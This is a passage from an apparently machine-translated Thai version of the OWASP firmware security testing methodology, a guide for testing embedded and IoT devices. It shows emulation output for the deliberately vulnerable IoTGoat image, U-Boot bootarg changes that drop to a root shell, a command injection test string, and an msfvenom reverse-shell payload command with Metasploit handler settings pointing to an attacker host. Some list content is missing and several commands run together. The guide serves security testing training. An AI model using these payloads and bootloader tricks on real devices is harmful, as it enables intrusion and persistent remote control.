การใช้ชุดเครื่องมือวิเคราะห์เฟิร์มแวร์ เพียงดำเนินการคำสั่งต่อไปนี้:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
หมายเหตุ: อาจจำเป็นต้องมีการปรับเปลี่ยนเครื่องมือเหล่านี้หากเฟิร์มแวร์มีการบีบอัด ระบบไฟล์ หรือสถาปัตยกรรมที่ไม่รองรับ
ในขั้นตอนนี้ ให้ทำการทดสอบแบบไดนามิกในขณะที่อุปกรณ์กำลังทำงานในสภาพแวดล้อมปกติหรือจำลอง วัตถุประสงค์ในขั้นตอนนี้อาจแตกต่างกันไปขึ้นอยู่กับโครงการและระดับการเข้าถึงที่กำหนด โดยทั่วไป สิ่งนี้เกี่ยวข้องกับการดัดแปลงการกำหนดค่า bootloader การทดสอบเว็บและ API การคลุมเครือ (บริการเครือข่ายและแอปพลิเคชัน) รวมถึงการสแกนที่ใช้งานอยู่โดยใช้ชุดเครื่องมือต่างๆ เพื่อรับการเข้าถึงระดับสูง (รูท) และ/หรือการดำเนินการโค้ด
เครื่องมือที่อาจเป็นประโยชน์ ได้แก่ (โดยย่อ):
อ้างอิงวิธีการเว็บมาตรฐานอุตสาหกรรม เช่น คู่มือการทดสอบของ OWASP และมาตรฐานการตรวจสอบความปลอดภัยของแอปพลิเคชัน (ASVS)
พื้นที่เฉพาะที่ต้องตรวจสอบภายในแอปพลิเคชันเว็บของอุปกรณ์ฝังตัวมีดังต่อไปนี้:
กรณีทดสอบจะแตกต่างกันไป ขึ้นอยู่กับผลิตภัณฑ์และอินเทอร์เฟซการใช้งาน
เมื่อแก้ไขการเริ่มต้นอุปกรณ์และโปรแกรมโหลดบูต เช่น U-boot ให้ลองดำเนินการดังต่อไปนี้:
init=/bin/sh ' ที่ส่วนท้ายของอาร์กิวเมนต์การบูต#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py เพื่อเขียน uboot-image และกดเฟิร์มแวร์ที่แก้ไขเพื่อรับรูทFILENAME ' ด้วยคำสั่งแทรกคำสั่ง เช่น 'a";/bin/sh;#' เพื่อทดสอบการตรวจสอบอินพุตสำหรับขั้นตอนการเริ่มต้นอุปกรณ์*การทดสอบความปลอดภัยของฮาร์ดแวร์
พยายามอัปโหลดเฟิร์มแวร์ที่กำหนดเองและ/หรือไบนารีที่คอมไพล์แล้วเพื่อตรวจสอบความสมบูรณ์หรือข้อบกพร่องในการตรวจสอบลายเซ็น ตัวอย่างเช่น คอมไพล์เชลล์แบ็คดอร์ที่เริ่มต้นเมื่อบู๊ตโดยใช้ขั้นตอนต่อไปนี้
หากได้รับรูทเชลล์จากการวิเคราะห์แบบไดนามิก การจัดการบูตโหลดเดอร์ หรือวิธีทดสอบความปลอดภัยของฮาร์ดแวร์ ให้พยายามดำเนินการไบนารีที่เป็นอันตรายที่คอมไพล์แล้ว เช่น การฝังหรือรีเวิร์สเชลล์ พิจารณาใช้เครื่องมือเพย์โหลด/การปลูกถ่ายอัตโนมัติที่ใช้สำหรับเฟรมเวิร์กคำสั่งและการควบคุม (C&C) ตัวอย่างเช่น กรอบงาน Metasploit และ 'msfvenom' สามารถใช้ประโยชน์ได้โดยใช้ขั้นตอนต่อไปนี้
msfvenom เพื่อระบุเพย์โหลดเป้าหมายที่เหมาะสม (-p), IP โฮสต์ของผู้โจมตี (LHOST=), หมายเลขพอร์ตการฟัง (LPORT=) ประเภทไฟล์ (-f), สถาปัตยกรรม (--arch), แพลตฟอร์ม (--แพลตฟอร์ม linux หรือ windows) และไฟล์เอาต์พุต (-o) ตัวอย่างเช่น msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zหากเป็นไปได้ ให้ระบุช่องโหว่ภายในสคริปต์เริ่มต้นระบบเพื่อให้สามารถเข้าถึงอุปกรณ์ได้ตลอดทั้งการรีบูต ช่องโหว่ดังกล่าวเกิดขึ้นเมื่อสคริปต์เริ่มต้นอ้างอิง ลิงก์เชิงสัญลักษณ์ หรือขึ้นอยู่กับโค้ดที่อยู่ในตำแหน่งที่เมาท์ที่ไม่น่าเชื่อถือ เช่น การ์ด SD และไดรฟ์ข้อมูลแฟลชที่ใช้สำหรับจัดเก็บข้อมูลภายนอกระบบไฟล์รูท
การวิเคราะห์รันไทม์เกี่ยวข้องกับการแนบกับกระบวนการที่ทำงานอยู่หรือไบนารีในขณะที่อุปกรณ์กำลังทำงานในสภาพแวดล้อมปกติหรือจำลอง ขั้นตอนการวิเคราะห์รันไทม์พื้นฐานมีดังต่อไปนี้:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>เครื่องมือที่อาจเป็นประโยชน์ ได้แก่ (โดยย่อ):
หลังจากระบุช่องโหว่ภายในไบนารีจากขั้นตอนก่อนหน้านี้แล้ว จำเป็นต้องมีการพิสูจน์แนวคิด (PoC) ที่เหมาะสมเพื่อแสดงให้เห็นถึงผลกระทบและความเสี่ยงในโลกแห่งความเป็นจริง การพัฒนาโค้ดช่องโหว่ต้องมีประสบการณ์การเขียนโปรแกรมในภาษาระดับล่าง (เช่น ASM, C/C++, เชลล์โค้ด ฯลฯ) รวมถึงพื้นหลังภายในสถาปัตยกรรมเป้าหมายเฉพาะ (เช่น MIPS, ARM, x86 เป็นต้น) รหัส PoC เกี่ยวข้องกับการรับการดำเนินการตามอำเภอใจบนอุปกรณ์หรือแอปพลิเคชันโดยการควบคุมคำสั่งในหน่วยความจำ
ไม่ใช่เรื่องปกติที่การป้องกันรันไทม์แบบไบนารี (เช่น NX, DEP, ASLR เป็นต้น) จะติดตั้งอยู่ภายในระบบฝังตัว แต่เมื่อเกิดเหตุการณ์เช่นนี้ อาจจำเป็นต้องใช้เทคนิคเพิ่มเติม เช่น โปรแกรมที่เน้นการส่งคืน (ROP) ROP อนุญาตให้ผู้โจมตีใช้ฟังก์ชันที่เป็นอันตรายตามอำเภอใจโดยการเชื่อมโยงโค้ดที่มีอยู่ในกระบวนการเป้าหมาย/โค้ดไบนารีที่เรียกว่าแกดเจ็ต จะต้องดำเนินการตามขั้นตอนเพื่อใช้ประโยชน์จากช่องโหว่ที่ระบุ เช่น บัฟเฟอร์ล้น โดยการสร้างห่วงโซ่ ROP เครื่องมือที่มีประโยชน์สำหรับสถานการณ์เช่นนี้คือเครื่องมือค้นหาแกดเจ็ตของ Capstone หรือ ROPGadget- https://github.com/JonathanSalwan/ROPgadget
ใช้ข้อมูลอ้างอิงต่อไปนี้เพื่อเป็นแนวทางเพิ่มเติม:
จะมีการใช้เครื่องมือหลายอย่างร่วมกันในการประเมินเฟิร์มแวร์ รายการด้านล่างเป็นเครื่องมือที่ใช้กันทั่วไป
หากต้องการฝึกค้นหาช่องโหว่ในเฟิร์มแวร์ ให้ใช้โปรเจ็กต์เฟิร์มแวร์ที่มีช่องโหว่ต่อไปนี้เป็นจุดเริ่มต้น
ข้อเสนอแนะและการมีส่วนร่วม
หากคุณต้องการมีส่วนร่วมหรือแสดงความคิดเห็นเพื่อปรับปรุงวิธีการนี้ โปรดติดต่อ [email protected] (@scriptingxss) อย่าลืมเปิดประเด็นหรือขอดึงข้อมูล แล้วเราจะดูแลให้อย่างแน่นอน!
ขอขอบคุณเป็นพิเศษสำหรับผู้สนับสนุนของเรา Cisco Meraki, OWASP Inland Empire และ OWASP Los Angeles รวมถึง José Alejandro Rivas Vidal สำหรับการตรวจสอบอย่างรอบคอบของเขา
สามารถดูรายชื่อผู้ร่วมให้ข้อมูลทั้งหมดได้ทาง https://github.com/scriptingxss/owasp-fstm/graphs/contributors
ใบอนุญาต
Creative Commons Attribution Share Alike 4.0 International
